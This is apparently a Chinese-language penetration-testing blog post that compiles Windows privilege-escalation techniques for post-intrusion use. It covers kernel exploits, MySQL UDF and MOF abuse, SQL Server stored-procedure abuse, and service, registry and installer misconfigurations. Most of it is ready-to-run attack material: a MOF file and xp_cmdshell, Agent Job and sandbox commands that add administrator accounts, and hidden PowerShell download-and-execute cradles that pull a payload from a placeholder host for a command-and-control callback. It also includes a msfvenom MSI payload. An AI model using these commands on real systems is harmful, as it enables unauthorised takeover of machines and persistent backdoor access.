Windows提权总结(1)——数据库与系统漏洞

在内网渗透中,由于系统对服务的权限设置,攻击者不一定能通过外网服务直接获取系统的最高权限,假如我们拿到的只是普通权限,在后续进行横向移动的行动中会比较艰难,所以我们需要通过一定手段让自己的权限提升为系统最高权限,进一步扩大攻击效果。Windows系统提权常见手段有内核漏洞提权、数据库提权、绕过UAC提权等等。本文针对Windows常见的提权方法进行总结,文章不足之处还请各位指正。

0x01 内核漏洞提权

Github上windows系统溢出漏洞提权的汇总:

https://github.com/SecWiki/windows-kernel-exploits

内核漏洞检测工具——Windows-Exploit-Suggester

其主要功能是通过比对systeminfo生成的文件,比对KB编号,从而发现系统是否存在未修复漏洞。

https://github.com/AonCyberLabs/Windows-Exploit-Suggester

使用:

更新数据库

python2 ./windows-exploit-suggester.py --update

安装依赖 xlrd

python2 -m pip install xlrd --upgrade

这里要注意,最近 xlrd 更新到了2.0.1版本,只支持.xls文件,与我们生成的数据库xlsx文件有冲突。

所以安装旧版 xlrd

python2 -m pip uninstall xlrd
python2 -m pip install xlrd==1.2.0

将利用的Windows机的SystemInfo打印到1.txt,执行以下命令

python2 ./windows-exploit-suggester.py --database ./2021-12-09-mssb.xls --systeminfo ./1.txt

利用给出的链接下载POC并提权

0x02 数据库提权

2.1 MYSQL提权

2.1.1 UDF提权

UDF (user defined function),即用户自定义函数。通过添加类似于命令执行的新函数,执行任意命令

提权条件

  • 有mysql的root权限以及secure_file_priv的值为空
  • mysql5.1以上有写lib/plugin目录权限

提权原理:利用了root 高权限,创建带有调用cmd的函数的udf.dll动态链接库

Step1:查看 secure_file_priv 的值

show global variables like 'secure%';

如果 secure_file_priv的值为NULL,则无法导入文件,也就无法提权。

secure_file_priv 的值不能通过set改变,需要在mysql配置文件my.ini中添加/修改

secure_file_priv=''

如果 secure_file_priv没有具体的值,则可以写入导出文件。

导入/导出成功

Step2:查看plugin的值

select Host,user,plugin from mysql.user where user = substring_index(user(),'@',1);

plugin值为 mysql_native_password 时可通过账户连接提权

Step3:查看系统架构以及plugin目录

show variables like '%compile%';             #查看主机版本及架构
show variables like 'plugin%';               #查看 plugin 目录

64位

E:\phpStudy_64\phpstudy_pro\Extensions\MySQL5.7.26\lib\plugin\

看架构的原因是要确定 udf 用64位还是32位的

MSF的udf

cd /usr/share/metasploit-framework/data/exploits/mysql/

将对应的dll下载

Step4:dll文件写入plugin目录,并且创建函数(如果没有"./mysql/lib/plugin/"这个目录,需要自行创建)

将整个DLL文件以十六进制编码后写入磁盘。

select 'It is dll' into dumpfile 'E:\\phpStudy_64\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib::$INDEX_ALLOCATION';
select 'It is dll' into dumpfile 'E:\\phpStudy_64\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib\\plugin::$INDEX_ALLOCATION';(写目录,其实大部分时候是没有写权限的)
select hex(load_file('E:\\files\\udf\\udf64.dll')) into dumpfile '.\udf.hex';
select [十六进制值] into dumpfile   "E:\\phpStudy_64\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib\\plugin\\udf64.dll";

创建命令执行函数

create function sys_exec returns int soname 'udf64.dll';
create function sys_eval returns int soname 'udf64.dll';
create function sys_get returns int soname 'udf64.dll';

结果如下

添加管理员组用户

我们也可以直接传UDF木马

连接数据库后,可以快速提权

2.1.2 MOF提权

提权条件

  • 操作系统版本低于 win2008
  • 有mysql的root权限以及secure_file_priv的值为空

提权原理:在windows平台下,c:/windows/system32/wbem/mof/nullevt.mof 这个文件会每间隔一段时间(很短暂)就会以system权限执行一次,所以,只要我们将我们先要做的事通过代码存储到这个mof文件中,就可以实现权限提升。

启动项提权:将后面脚本上传到系统启动目录,当服务器重启就会自动执行该脚本,从而获取系统权限。

test.mof文件代码如下:

#pragma namespace("\\\\.\\root\\subscription") 
instance of __EventFilter as $EventFilter 
{ 
    EventNamespace = "Root\\Cimv2"; 
    Name  = "filtP2"; 
    Query = "Select * From __InstanceModificationEvent " 
            "Where TargetInstance Isa \"Win32_LocalTime\" " 
            "And TargetInstance.Second = 5"; 
    QueryLanguage = "WQL"; 
}; 
instance of ActiveScriptEventConsumer as $Consumer 
{ 
    Name = "consPCSV2"; 
    ScriptingEngine = "JScript"; 
    ScriptText = 
    "var WSH = new ActiveXObject(\"WScript.Shell\")WSH.run(\"net.exe user admin admin /add\")"; 
}; 
instance of __FilterToConsumerBinding 
{ 
    Consumer   = $Consumer; 
    Filter = $EventFilter; 
}; 

此代码的含义是添加一条命令去执行,在admin用户组添加admin用户

执行:

select load_file(“C:/test.mof”) into dumpfile “c:/windows/system32/wbem/mof/nullevt.mof”

成功执行

2.1.3 启动项提权

提权条件

  • 操作系统版本低于 win2008
  • 有mysql的root权限以及secure_file_priv的值为空

提权原理:将脚本文件添加到系统启动项目录命令执行

将代码保存保存成 add_user.bat文件

@echo
net user dodo dodo /add

导入至系统启动项目录

select load_file(’C:add_user.bat’) into dumpfile ‘该系统的启动项目录’;

2.2 SQL Server提权

提权原理

SQL Server的存储过程是一个可编程函数,它为数据库提供了强大的功能,但在相应的权限下,攻击者可以利用不同的存储过程执行不同的高级功能,如:创建数据库用户、枚举文件目录、执行任意系统命令等。

存储过程分为系统存储过程、扩展存储过程、用户自定义的存储过程:

  1. 系统存储过程主要存储在master数据库中,以 "sp_" 为前缀,在任何数据库中都可以调用,在调用的时候不必在存储过程前加上数据库名;
  2. 扩展存储过程则是对 DLL 函数的调用,主要是用于客户端与服务器端或客户端之间进行通信的,以 "xp_" 为前缀,使用方法与系统存储过程类似;
  3. 用户定义的存储过程是 SQL Server 的使用者编写的存储过程;

查看数据库中是否有对应的存储过程:

select count(*) from master.dbo.sysobjects where xtype='x' and name='sp_oacreate';

若返回结果为1,则说明已开启

2.2.1 XP_CMDSHELL提权

xp_cmdshell就是其中一个扩展存储过程

提权条件

  • sql server是system权限

开启xp_cmdshell

EXEC master..sp_configure 'show advanced options', 1;RECONFIGURE;
EXEC master..sp_configure 'xp_cmdshell', 1;RECONFIGURE;

关闭xp_cmdshell只需把 xp_cmdshell的值设为0即可

EXEC master..sp_configure 'xp_cmdshell', 0;RECONFIGURE;

执行命令提权

Exec master.dbo.xp_cmdshell 'whoami';
Exec master.dbo.xp_cmdshell "net user 0xL4k1d 0xL4k1d /add";
Exec master.dbo.xp_cmdshell "net localgroup administrators 0xL4k1d /add";

2.2.2 SP_OACREATE提权

在xp_cmdshell被删除或者出错情况下,可以充分利用SP_OACreate进行提权

提权条件

  • sql server是system权限

开启SP_OACREATE

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;   
EXEC sp_configure 'show advanced options', 0;

执行系统命令CS上线

执行时无回显

DECLARE@shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD@shell,'run',null, '%systemroot%\system32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(''http://ip:port/a''))"'--

2.2.3 沙盒提权

提权条件

  • sql server是system权限

这种提权是利用access的沙盒机制,关闭沙盒之后执行代码。

关闭沙盒模式

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
沙盒模式SandBoxMode参数含义(默认是2)    0:在任何所有者中禁止启用安全模式    1 :为仅在允许范围内    2 :必须在access模式下    3:完全开启

执行命令提权

select * from OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb',
'select shell("net user 0xL4k1d 0xL4k1d /add&net localgroup administrators 0xL4k1d /add")');

注:在SQL Server 2005中默认禁用Ad Hoc Distributed,不开启执行命令会报错。

Exec sp_configure 'show advanced options',1;
RECONFIGURE;
Exec sp_configure 'Ad Hoc Distributed Queries',1;
RECONFIGURE;

2.2.4 AGENT JOB提权

提权条件

  • sql server是system权限

提权原理

创建一个任务x,并执行命令(无回显),结果写到一个文档中

首先需要启动 SQL Server AGENT 服务

exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'

创建任务并执行命令

use msdb
exec dbo.sp_delete_job null,'x'
exec sp_add_job 'x'
exec sp_add_jobstep null,'x',null,'1','cmdexec','cmd /c "net user 0xL4k1d 0xL4k1d /add &net localgroup administrators 0xL4k1d /add>c:/q.txt"'
exec dbo.sp_add_jobserver null,'x',@@servername
exec dbo.sp_start_job 'x';

CS上线

use msdb; 
exec dbo.sp_add_job @job_name = N'test_powershell_job1' ; 
exec sp_add_jobstep @job_name = N'test_powershell_job1', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(''http://ip:port/a''))"', @retry_attempts = 1, @retry_interval = 5 ;
exec dbo.sp_add_jobserver @job_name = N'test_powershell_job1'; 
exec dbo.sp_start_job N'test_powershell_job1';

0x03 系统权限配置错误提权

系统权限配置错误,导致低权限用户对高权限运行的文件拥有写入权限,那么低权限用户就可以替换成恶意后门文件,获取系统权限。

3.1 系统服务权限配置错误

一般在启动项、计划任务中会伴随着一些高权服务,若某些服务存在一些漏洞,那么就能够借此服务进行提权和权维

如果有可以完全控制的服务,我们可以将该服务的BINARY_PATH_NAME修改成任何命令或者后门进行提权

以下工具可以自动化检测利用:

  • Powershell中的PowerUp脚本
  • https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
  • MSF的service_permissions(需要普通session)
use exploit/windows/local/service_permissions

3.2 计划任务提权

如果高权限计划任务的目录具有写权限,就可以把目标程序替换成我们的恶意程序进行提权

查询计划任务

schtasks /query /fo LIST /v

查看权限配置

accesschk.exe -dqv "D:\test" -accepteula

时间一到自动执行,就能高权限上线了

3.2 可信任服务路径漏洞

如果一个服务的可执行文件的路径没有被双引号引起来且包含空格,那么这个服务就是有漏洞的

假设服务路径是:

C:\Program Files(x86)\Common Files\CloudMusic\CloudMusic\cloudmusic.exe

那他就是有漏洞的

由于没有双引号的包裹,Windows会认为C:\Program空格后面的东西都是他的参数

我们利用的话就可以生成一个后门Program.exe放在C:\下,等下次该服务启动时后门就会被执行

搜集路径漏洞服务

wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """

查看是否为自启动

sc qc [服务名称]

MSF攻击模块(需要session)

#msf检测攻击模块
use exploit/windows/local/unquoted_service_path
#正常接收到会话后,不久就会自动断开连接,需要开启命令自动迁移进程
set AutoRunScript migrate -f

3.3 不安全的注册表权限配置

这个可以配合上一个漏洞,如果低权限用户对程序路径所对应的键值有写权限,将路径简直写成没有被双引号引起来且包含空格的路径,那么接下来就可以参照上面的方法提权

# 存储Windows服务有关的信息
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services
# 服务对应的程序路径存储
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Vulnerable Service\服务名\ImagePath

3.4 AlwaysInstallElevated

适用windows 7/8、03/08、12/16

AlwaysInstallElevated是一个策略设置项。如果开启,则允许低权限用户以System权限运行安装文件,通过安装恶意的MSI(不是那种捆绑的MSI,是将脚本嵌套在里面的MSI)文件进行提权

在注册表中识别

[HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:00000001
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:00000001

reg query命令查询是否存在漏洞

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

如果没有漏洞会显示

错误: 系统找不到指定的注册表项或值。

如果存在漏洞则会显示

HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer AlwaysInstallElevated REG_DWORD 0x1 

生成恶意MSI

msfvenom -p windows/exec CMD=cmd.exe -f msi -o cmd.msi

安装cmd.msi

msiexec /quiet /qn /i C:\cmd.msi
/quiet 安装过程中禁止向用户发送消息    /qn 不使用GUI

MSF攻击模块(需要普通Session)

exploit/windows/local/always_install_elevated

3.5 at本地命令提权

适用Windows2000/2003、XP

at 命令默认SYSTEM权限执行命令

at 11:00am /interactive cmd.exe

得到这个system的cmd,然后kill掉explore进程,再使用任务管理器新建explore进程,将会得到一个system的桌面环境

3.6 sc本地命令提权

适用windows 7/8、03/08、12/16

SC 命令是 Windows 系统中功能强大的 DOS 命令, SC 命令能与“服务控制器”和已安装设备进行通讯。SC 是用于与服务控制管理器和服务进行通信的命令行程序。

创建任务systemcmd

sc Create systemcmd binPath= "cmd /K start" type= own type= interact

开启任务

sc start systemcmd

就会拿到一个system的cmd

然后和at提权的后续做法相同,此时的任务管理器是system权限,然后kill掉explore 进程,再使用任务管理器新建explore进程,将会得到一个system的桌面环境